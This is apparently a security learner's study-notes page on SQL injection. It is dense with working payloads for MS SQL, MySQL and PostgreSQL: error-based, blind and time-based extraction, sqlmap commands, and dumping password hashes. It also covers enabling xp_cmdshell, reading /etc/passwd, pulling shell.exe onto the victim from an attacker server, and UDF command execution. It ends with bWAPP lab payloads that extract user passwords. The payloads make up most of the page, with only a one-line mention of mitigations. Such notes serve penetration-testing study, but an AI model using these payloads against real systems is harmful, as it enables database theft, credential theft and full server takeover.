▒█████ █████▒ █████▒ ██████ ▓█████ ▄████▄ ██▒ █▓ ▄▄▄ █ ██ ██▓ ▄▄▄█████▓ ▒██▒ ██▒▓██ ▒▓██ ▒▒██ ▒ ▓█ ▀ ▒██▀ ▀█▓██░ █▒▒████▄ ██ ▓██▒▓██▒ ▓ ██▒ ▓▒ ▒██░ ██▒▒████ ░▒████ ░░ ▓██▄ ▒███ ▒▓█ ▄▓██ █▒░▒██ ▀█▄ ▓██ ▒██░▒██░ ▒ ▓██░ ▒░ ▒██ ██░░▓█▒ ░░▓█▒ ░ ▒ ██▒▒▓█ ▄ ▒▓▓▄ ▄██▒▒██ █░░░██▄▄▄▄██ ▓▓█ ░██░▒██░ ░ ▓██▓ ░ ░ ████▓▒░░▒█░ ░▒█░ ▒██████▒▒░▒████▒▒ ▓███▀ ░ ▒▀█░ ▓█ ▓██▒▒▒█████▓ ░██████▒▒██▒ ░ ░ ▒░▒░▒░ ▒ ░ ▒ ░ ▒ ▒▓▒ ▒ ░░░ ▒░ ░░ ░▒ ▒ ░ ░ ▐░ ▒▒ ▓▒█░░▒▓▒ ▒ ▒ ░ ▒░▓ ░▒ ░░ ░ ▒ ▒░ ░ ░ ░ ░▒ ░ ░ ░ ░ ░ ░ ▒ ░ ░░ ▒ ▒▒ ░░░▒░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░░ ░ ▒ ░░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░
OFFENSIVE | DEFENSIVE | CTF | TOOLS | ABOUT

05.SQL injections

>>> portswigger https://portswigger.net/web-security/sql-injection sql sintax select [colunmlist] from [table] where [condition] UNION = it performs an UNION of different SELECT statements. it implies DINSTINCT by default. DISTINCT = remove the duplicates how to comments lines on SQL ? hashtag # two dashes -- followed by space commong forms to exploit the SQLi: ' OR 'a'='a ' UNION SELECT Username, Password from Accounts WHERE 'a'='a what can we do with an SQLi attack ? -read file system -run OS commands -install shells -access remote network & more SQLi classifications: -scope of the attack -exploitation vector -source of the attack types in-band = it is exploited by using the same channel to retrieve the data error-based = it is exploited by forcing the DBMS to output errors blind = there's no output and it is exploited by an inference exploitation, mostly by true/false conditions. to understand the true/false responses, it is needed to study the webapp behavior. C O N D I T I O N S / BOOLEAN BASED DETECTIONS = needed when there's no output. ' OR '1'='1 ==> TRUE ' OR '1'='2 ==> FALSE a good trick to exploit SQLi is to use "Comments" [# or --] ENUMERATING the number of fields in a query we can start injecting the null value in order to build a valid query. sample: 9999 UNION SELECT NULL; -- - 9999 UNION SELECT NULL, NULL; -- - 9999 UNION SELECT NULL, NULL, NULL; -- - and so on, only add the NULL value to create a valid query and the error dissapear. BLIND ENUMERATING SCENARIO - it is needed to start with a valid ID in order to enumerate the fields in a query. when nothing is displayed, it possible means there's something bad with the query. when the content is displayed, it means you found the number of parameters. - enumerate the type of the fields when enumerating the type of field and the type enforcing is enabled it will trigger an error. engines with type enforcing enabled: ->PostgreSQL = YES ->MS SQL SERVER = YES ->ORACLE = YES ->MySQL = NO > enumerate field types cyclical process steps: 1.substitute one of the null fields in our payload with a constant if the constant is correct, it will work, if not, it will throw an error. sample: after finding the in-band valid query, there's a way to validate the type. ' UNION SELECT 1, null; -- - it will try to check for integer the first field. (if there's no error, it means the field is integer) the same process can be repeated to check for the field type. > error based explotation most of the times the error is reflected in the web application output, but could be also embedded in an email, appended to a log file, etc. MS SQL Sever reveals the name of the database objects within error messages. schemas are databases with the singular purpose of describing all the other user-defined databases in the system. "sa" is the superadmin for MS SQL Server and has access to the master database. master contains schemas of user defined databases. first thing to know: database version, that to build the exploits accordingly. most used trick is to "trigger a type conversion error" payload for this technique: 9999999 or 1 in (SELECT TOP 1 CAST ( as varchar(4096)) from WHERE NOT IN ()); -- when we want the second select to be executed, it is needed that the first condition will be "false" the section "or 1 in" will help to trigger the error, with this command we are asking the database to look for integer value 1 within a varchar column. ...CASTING CAST ( as varchar(4096)) the fieldname section is where we insert the column that we want to dump. either a column of a user-defined databse or a special database column). the fieldname can also be a SQL function, user_name() or a variable like @@version. (check pentest monkey cheat) find current databse user: if the user retrieved is not the admin user, we still can retrieve the databases owned by the same user. 9999 or 1 in (SELECT TOP 1 CAST(user_name() as varchar(4086))) -- retrieve databases: to do that, it is needed to iterate through the MASTER database to find all the databases that we can read. payload: 9999 or 1 in (SELECT TOP 1 CAST(db_name(0) as varchar(4096))) -- db_name() function, accesses the master..sysdatabases table which stores all the databases installed on the server. it will access the databases that the user founded has access. to enumerate all of them it is needed to increment the db_name() argument from 0 to X number until it is not more dbs. enumerate all tables in the current database or other databases: payload: 9999 or 1 in (SELECT TOP 1 CAST(name as varchar(4096))) FROM ..sysobjects WHERE xtype='U' and name NOT IN ()); -- xtype='U' = means that we are only interested in user-defined tables name NOT IN = name is a column of the "sysobjects" special table. every time we find a new table we will append it to the NOT IN list. needed because the error displays only the first table name enumerating the columns: payload: 9999 or 1 in (SELECT TOP 1 CAST (..syscolumns.name as varchar(4096)) FROM ..syscolumns,..sysobjects WHERE ..syscolumns.id=..sysobjects.id AND ..sysobjects.name= AND ..syscolumns.name NOT IN ()); -- = means the list of the columns we already retrieved dumping dump the data doing schema enumeration payload: 9999 or 1 in (SELECT TOP 1 CAST ( as varchar(4096)) FROM ..
WHERE NOT IN ()); -- - to force or ensure the selected parameter has data type "varchar" exist a trick to add a concatenation: 2%bchar(64) | 2%b payload: this payload will help to force the error (values: id, cms, users) 9999 or 1 in (SELECT TOP 1 CAST (id as varchar)%2char(64) FROM cms..users WHERE id NOT IN ('')); -- - -> %2b = it means to sent the value/symbol + to the DBMS, the character "+" means concatenation. getting all ID's now, the other columns can be extracted, for example, "users" 9999 or 1 in (SELECT TOP 1 CAST (username as varchar) FROM cms..users WHERE id=1); -- - 9999 or 1 in (SELECT TOP 1 CAST ("column name" as varchar) FROM cms..users WHERE id=1); -- - this information can be retrieved using wget tool, like the following: wget "vulnerable URL"/products.php?id=1 or 1 IN (SELECT TOP 1 CAST(db_name() as varchar(4096))) --" -q -O - SQLi exploitation using "group by" statement:: in case there's repeated values, the group by statement will remove duplicates. MySQL skeleton to create error-based injections: select 1, 2 union select count(*), concat(,floor(rand(0)*2)) as x from information_schema.tables group by x; extract database version on MySQL: SELECT count(*), concat(version(), floor(rand(0)*2)) as x from information_schema.tables group by x; POSTGRE ERROR BASED technique/command: ...> get version SELECT CAST(version()) as numeric); ...> get tables SELECT CAST((SELECT table_name from information_schema.tables limit 1 offset 0) as numeric); NOTE: to get all tables it is needed to change/modify the "offset" section from 0 to X number. mssql-sql-injection-cheat-sheet mysql-sql-injection-cheat-sheet postgres-sql-injection-cheat-sheet EXPLOITING BLIND SQL INJECTIONS used to extract database schemas and data... always true condition will be a good initial test. first will be good to understand the query structure behind. if running an always false condition there's no results, and running the always true retrieves, it means that it is exploitable. knowing when a condition is truw or false helps to ask simple true/false questions. sample: -is the first letter of the username 'a' ? -does this database contain three tables ? how to get the user ? first way: SELECT user(); // will retrieve the current user second way: returns a substring. it takes 3 parameters, input string, the position and its lenght. SELECT substring('string', 2, 1); functions can be used as an argument of other functions: SELECT substring(user(), 1, 1); SQL allows you to test the output of a function in a true/false condition. combining that, we can iterate over the letters of the username by using payloads such as: ' or substr(user(),1, 1)= 'a ' or substr(user(),1, 1)= 'b ... when we find the first letter, we can move to the second: ' or substr(user(), 2, 1)= 'a repeat the process to find the complete username. 9999 or SUBSTRING(user_name(), 1, 1) = 'c';-- it will be good to keep the process as fast as possible. the best way is to reduce the number of iterations you have to do per character. means, you need to be able to understand if the character is [A-Z]/[a-z]/[0-9] ---technique discovered by SecForce FIRST: see if the convertion to uppercase of the character will yield TRUE or FALSE payload: ASCII(UPPER(SUBSTRING((),,1))) = ASCII(SUBSTRING((),,1)) NOTE: ASCII() returns the ASCII code of a character. that will help to test if a character of a query is the same of its uppercase relative, because "a" does not equal to "A". the same process for lower case: ASCII(LOWER(SUBSTRING((),,1))) = ASCII(SUBSTRING((),,1)) => if UPPER is TRUE and LOWER is FALSE, the character is UPPERCASE [A-Z] => if LOWER is TRUE and UPPER is FALSE, the character is LOWECASE [a-z] => if both are TRUE, character is either number or symbol [0-9] SECOND: time-based blind sql injection, it is the time used to infer a TRUE condition from FALSE condition syntax: %SQL condition% waitfor delay '0:0:5' // if the SQL condition is TRUE, the DBMS will delay for 6 seconds __check for 'sa' user on MS SQL Server: if (SELECT user) = 'sa' waitfor delay '0:0:5' __guess a database value MySQL: IF EXISTS (SELECT * FROM users WHERE username = 'armando') BENCHMARK(10000000,MD5(1)) NOTE: it is time consuming. below code means that if the clause yields TRUE, it will perform MD5(1) function 10000000 times. >>... SQLMAP TOOL USAGE tip: test the vuln manually first, because if you go fully automatic, probably the tool could act inefficient or crash the remote service. basic sintax: sqlmap -u -p [options] exploit POST parameter: sqlmap -u --data= -p [options] needed: 1. URL 2. parameter, (it could work without a parameter) flags: -u = URL -p = parameter --techinique = technique to use --data = define HTTP POST request -r = request file -D = database name -T = table name --dbms= specify database TIP: one way to use SQLMap is by saving a request intercepted with burp proxy to a file. it can be POST as well. exploit using a burp result file: sqlmap -r -p parameter [options] FIRST STEP: grab the database banner. that will help to test the injection and also, to proof of the exploitability of the vulnerability. sqlmap -u --banner SECOND: information gathering sqlmap -u --users --> check if web app database user is admin sqlmap -u --is-dba --> list all available databases sqlmap -u --dbs --> select a database and list tables sqlmap -u -D --tables --> choose one or more tables and list their columns sqlmap -u -D -T --columns --> dump columns needed sqlmap -u -D -T
-C --dump NOTE: webapps sometimes change the output in a way SQLMap cannot figure out. making blind SQLi impossible. to fix that, there's two flags: --string / --not-string => append to --string a string which is always present in true output pages or => append to --not-string a string which is always present in false output pages if the injected payload need to end with ')); for example, the flag --suffix can be used, if is at the beginning, --prefix can be used SQLi can be performed on any client-side input field. to make a SQLMap test: [1] GET/POST request [2] the cookie header values [3] the user-agent and referrer headers [5] host header to use it the flag needed is --level, the flag -p will bypass the level. actually is better to run the test with that flag as it perform more accurate, stealthy and in-depth exploitation. --risk parameter lets you fine-tune how dangerous the injections can be. however, will be good to use it only when is really needed and after carefully study the web app. three risk levels: 1 - default innocuous injections 2 - enables heavy time-based injections 3 - enables OR-based injections sometimes the injections can take long time to dump the data, to reduce that and make a persistent connection the following flag can be used: --keep-alive sqlmap -u --keep-alive you can reduce the dumping time using parallel threads with the following flag: --threads [range 1-10] -mitigations- .. input validation .. type casting ....> FROM SQLi to SERVER TAKEOVER engines: MS SQL & MySQL the first testing objective is to retrieve the "sa" user password. once we have the SHA-1 hash of the password, it can be crack it. two queries to retrieve username & password hash SELECT name, password FROM master..sysxlogins -----> for MSSQL Server 2000 SELECT name, password_hash FROM master..sys.sql_logins -----> for MSSQL Server >= 2005 the "sa" user has complete control over the DBMS, the databases it contains and... advanced features. useful stored procedure: xp_cmdshell (NOT ALWAYS ENABLED DEFAULT & REQUIRE PRIVILEGES) so once we got "sa" we can enable it following syntax to run any OS command: EXEC master..xp_cmdshell '' ...> enable xp_cmdshell EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; ...> disable xp_cmdshell EXEC sp_configure 'xp_cmdshell', 0; EXEC sp_configure 'show advanced options', 0; RECONFIGURE; by using the xp_cmdshell, you can launch commands to the DB server. we can combine this with some other SQL server features to mount a host enumeration utility via SQL injection. performing a ping: EXEC master.dbo.xp_cmdshell 'ping ' NOTE: this query will not show results, will be needed to use a time execution baseline to infer the ping result. to do that we have to compare between a known live host and the device we want to test. timings baseline -> ping live host: between 5-8 seconds -> bogus IP: between 20-30 seconds using advanced SQL server features, we can also implement a simple port scanner >. port scanning OPENROWSET is a SQL Server method you can use to access the tables of a remote server. It needs IP address and port to connect to. payload: SELECT * FROM OPENROWSET('SQLOLEDB', 'uid=sa;pwd=something;Network=DBMSSOCN;Address=,;timeout=', 'SELECT 1') -- if port is closed you will see similar to this: "SQL Server does not exist or access denied" if the port is open you will see: "general network error" / "Check your network documentation" if errors are hidden, and the port is closed, the connection will timeout according to the value. .> read the file system OPTION1_: EXEC master..xp_cmdshell 'dir will return the directory listing of , also, the output can be saved on a web accessible folder: EXEC master..xp_cmdshell 'dir C:\ > C:\inetpub\wwwroot\site\dir.txt' -- and then just browse to dir.txt at the URL: http://site.com/dir.txt OPTION_2: you can read a file on the server and then put its content into a table. we can then extract the table via SQLi as any other table. payload: CREATE TABLE table_name (line varchar(8000)); BULK INSERT table_name FROM ''; NOTE: remember to drop the table after extracting it: DROP TABLE table_name; .> upload a file to the system involves two steps: S T E P 1: insert the file into a table in a MS SQL database under our control payload: CREATE TABLE HelperTable (file text) BULK INSERT HelperTable FROM 'shell.exe' WITH (codepage='RAW') STEP 2: force the target DB to retrieve it from our server: EXEC xp_cmdshell 'bcp "SELECT * FROM HelperTable" queryout shell.exe -c -Craw -S -U -P ... the victim server will connect to our SQL server, read the .exe file from the table and recreate it remotely. >> STORING COMMAND RESULTS INTO A TEMPORARY TABLE ... technique to save the results of these stored procedures in a temporary table. FIRST STEP: create temp table this is created to hold the stored procedure output. payload: create table table_name (id int not null identity (1,1), output nvarchar(4096) null); -- ..> the id column will help us to access different command outputs while the output column will contain the actual command results. --> CRAFTING THE ARGUMENT FOR xp_cmdshell we need to convert the command string of the command you want to run into an ASCII representation. sample: "dir C:\", to accomplish that is needed to convert all characters in HEX ASCII representation: sample: 64 is the HEX code for "d" and so on... and then it is needed to add a double zero after every character of the string... for example the final result will be: something similar like the following RESULT IN HEX: 0x640069007200200063003a005c00 STEP2: it is needed to instance a variable with the command string we have just created, and then we pass it to the xp_cmdshell payload: declare @t nvarchar(4096) set @t=0x640069007200200063003a005c00 insert into temptable (output) EXEC master.dbo.xp_cmdshell @t; STEP3: to read the files it is needed to dump the data, can be used any of the dumping techniques, prev used. STEP4: remove the temp table you created for that. payload: DROP TABLE temptable; ....> advanced MySQL exploitation: MySQL is another DBMS which provided some advanced features. most of the features rely on the file privilege that "gives you permission to read and write files on the server host" -file privs can be granted to any MySQL user depending on the web app needs. always granted to MySQL "root" user on Linux & Windows. meaning that, if an app connects to the database as root, exploiting a SQL injection will lead not only to data compromise but also, to a full server takeover. >> READ A FILE ..it is possible by using LOAD_FILE function: SELECT LOAD_FILE('text_file_path'); ..to read the binary file , it is possible to do it with the function HEX, sample: payload: mysql> SELECT HEX(LOAD_FILE('')); -> using this method you can convert any binary file to a long hex string that you can use to steal any data from the server. -> also, possible to parse the content of a file and tell MySQL how to distinguish a record from another one. payload: mysql> CREATE TABLE table_name(output longtext); mysql> LOAD DATA INFILE '/etc/passwd' INTO TABLE table_name FIELDS TERMINATED BY '\n' (output); description command: "/etc/passwd" = file to read "table_name" = name of the table "output" = column name > WRITE TO FILE A QUERY RESULT using the SELECT .. INTO DUMPFILE statement, there's a chance to write to a file the result of a query. can be used to download huge query results via web app and to upload penetration tester supplied data to the server. payload: mysql> SELECT FROM
INTO DUMPFILE ''; > UPLOAD BINARY FILE you have to find a way to insert its content into a table on the victim machine, then dump the table content to a file on the server file system. file needs to be locally on the host. STEP 1: convert it into an hex-string mysql> SELECT HEX(LOAD_FILE('/file/to/read-load')) INTO DUMPFILE '/file/to/save/output.dmp'; STEP 2: load it into the table mysql> LOAD DATA INFILE '/file/path/of/file/to/load.dmp' INTO TABLE table_name FIELDS TERMINATED BY 'sOmErandOM' LINES TERMINATED BY 'oTHerRnD' (data); STEP3: test it is the same file by using INTO DUMPFILE to recreate the same mysql> SELECT UNHEX(data) FROM table_name INTO DUMPFILE 'file/to/write/test.dmp'; STEP4: compare SHA256 on both files. the initial file that was loaded and the file test you are generating to test. if everything is good, file can be uploaded to the victim server, but first you need to split the dumpfile into chunks of 1024 bytes and then insert them into a table field. sample: first you have to perform an INSERT with the first chunk and next you have to update the field by adding the other chunks. payload: INSERT INTO victim_table_name(field) VALUES(HEX_CODE_CONVERTED); UPDATE victim_table_name SET field=CONCAT(data,HEX_CODE_CONVERTED); UPDATE victim_table_name SET field=CONCAT(data,HEX_CODE_CONVERTED); same instruction until there's no more chunks to add. finally: you can write the file on the target system by executing... SELECT FROM WHERE INTO DUMPFILE ''; >. EXECUTING SHELL COMMANDS MySQL does not have a native function to run shell commands by default, but, "User Defined Functions / UDF" can be used to that. using UDF it is possible to create two functions: sys_eval() = returns the standard output of the chosen command sys_exec() = returns the command exit status to use both functions, you have to upload a shared object (SO) on a Unix system or on a dynamic-link library (DLL) on windows system to the target server. (UNIX/WINDOWS(DLL) > TARGET_SERVER) ..> after uploading the files to the target system, running a command is just a matter of performing a SELECT statement. payload: SELECT sys_eval(''); SELECT sys_exec(''); using SQLMap you can use the following statements, --os-cmd / --os-shell NOTE: modern DBMS offer some kind of file system routines or system shell command interfaces; this poses a high security risk to a DBMS serving an insecure web application. **** L A B > error based sqli mysql -u root SELECT FLOOR(RAND(0)*2) FROM information_schema.tables; SELECT FLOOR(RAND(0)*2) AS B FROM information_schema.tables GROUP BY B; SELECT COUNT(*), FLOOR(RAND(0)*2) AS B FROM information_schema.tables GROUP BY B; SELECT COUNT(*), CONCAT("Hello ", "World ", FLOOR(RAND(0)*2)) AS B FROM information_schema.tables GROUP BY B; SELECT COUNT(*), CONCAT("Hello ", VERSION(), FLOOR(RAND(0)*2)) AS B FROM information_schema.tables GROUP BY B; SELECT COUNT(*), CONCAT("Hello ", VERSION()," - ", FLOOR(RAND(0)*2)) AS B FROM information_schema.tables GROUP BY B; SELECT 1 FROM(SELECT COUNT(*), CONCAT("Hello ", VERSION()," - ", FLOOR(RAND(0)*2)) AS B FROM information_schema.tables GROUP BY B) C; ' AND (SELECT 1 from(Select count(*), concat("Hello ", version()," - ", FLOOR(RAND(0)*2)) B from information_schema.tables group by B) C) # Select * from movies where title like '%' AND (SELECT 1 from(Select count(*), concat("Hello ", version()," - ", FLOOR(RAND(0)*2)) B from information_schema.tables group by B) C) # %'; ' AND (SELECT 1 from(Select count(*), concat("Hello ", (select table_schema from information_schema.tables limit 1,1)," - ", FLOOR(RAND(0)*2)) B from information_schema.tables group by B) C) # Select * from movies where title like '%' AND (SELECT 1 from(Select count(*), concat("Hello ", (select table_schema from information_schema.tables limit 1,1)," - ", FLOOR(RAND(0)*2)) B from information_schema.tables group by B) C) # %'; ' AND (SELECT 1 from(Select count(*), concat("Hello ", (select distinct(table_schema)from information_schema.tables limit 1,1)," - ", FLOOR(RAND(0)*2)) B from information_schema.tables group by B) C) # Select * from movies where title like '%' AND (SELECT 1 from(Select count(*), concat("Hello ", (select distinct(table_schema)from information_schema.tables limit 1,1)," - ", FLOOR(RAND(0)*2)) B from information_schema.tables group by B) C) # %'; ' AND (SELECT 1 from(Select count(*), concat("Hello ", (select distinct(table_name)from information_schema.tables where table_schema="bWAPP" limit 1,1)," - ", FLOOR(RAND(0)*2)) B from information_schema.tables group by B) C) # Select * from movies where title like '%' AND (SELECT 1 from(Select count(*), concat("Hello ", (select distinct(table_name)from information_schema.tables where table_schema="bWAPP" limit 1,1)," - ", FLOOR(RAND(0)*2)) B from information_schema.tables group by B) C) # %'; ' AND (SELECT 1 from(Select count(*), concat("Hello ", (select distinct(table_name)from information_schema.tables where table_schema="bWAPP" limit 2,1)," - ", FLOOR(RAND(0)*2)) B from information_schema.tables group by B) C) #; ' AND (SELECT 1 from(Select count(*), concat("Hello ", (select distinct(table_name)from information_schema.tables where table_schema="bWAPP" limit 3,1)," - ", FLOOR(RAND(0)*2)) B from information_schema.tables group by B) C) # ' AND (SELECT 1 from(Select count(*), concat("Hello ", (select distinct(column_name) from information_schema.columns where table_schema="bWAPP" and table_name='users' limit 1,1)," - ", FLOOR(RAND(0)*2)) B from information_schema.tables group by B) C) # Select * from movies where title like '%' AND (SELECT 1 from(Select count(*), concat("Hello ", (select distinct(column_name) from information_schema.columns where table_schema="bWAPP" and table_name='users' limit 1,1)," - ", FLOOR(RAND(0)*2)) B from information_schema.tables group by B) C) # %'; ' AND (SELECT 1 from(Select count(*), concat("Hello ", (select distinct(column_name) from information_schema.columns where table_schema="bWAPP" and table_name='users' limit 2,1)," - ", FLOOR(RAND(0)*2)) B from information_schema.tables group by B) C) # ' AND (SELECT 1 from(Select count(*), concat("Hello ", (select distinct(column_name) from information_schema.columns where table_schema="bWAPP" and table_name='users' limit 3,1)," - ", FLOOR(RAND(0)*2)) B from information_schema.tables group by B) C) # ' AND (SELECT 1 from (Select count(*), concat("Hello ", (select password from bWAPP.users limit 0,1)," - ", FLOOR(RAND(0)*2)) B from information_schema.tables group by B) C) # Select * from movies where title like '%' AND (SELECT 1 from (Select count(*), concat("Hello ", (select password from bWAPP.users limit 0,1)," - ", FLOOR(RAND(0)*2)) B from information_schema.tables group by B) C) # %'; ' AND (SELECT 1 from (Select count(*), concat("Hello ", (select login from bWAPP.users limit 1,1)," - ", FLOOR(RAND(0)*2)) B from information_schema.tables group by B) C) # Select * from movies where title like '%' AND (SELECT 1 from (Select count(*), concat("Hello ", (select login from bWAPP.users limit 1,1)," - ", FLOOR(RAND(0)*2)) B from information_schema.tables group by B) C) # %';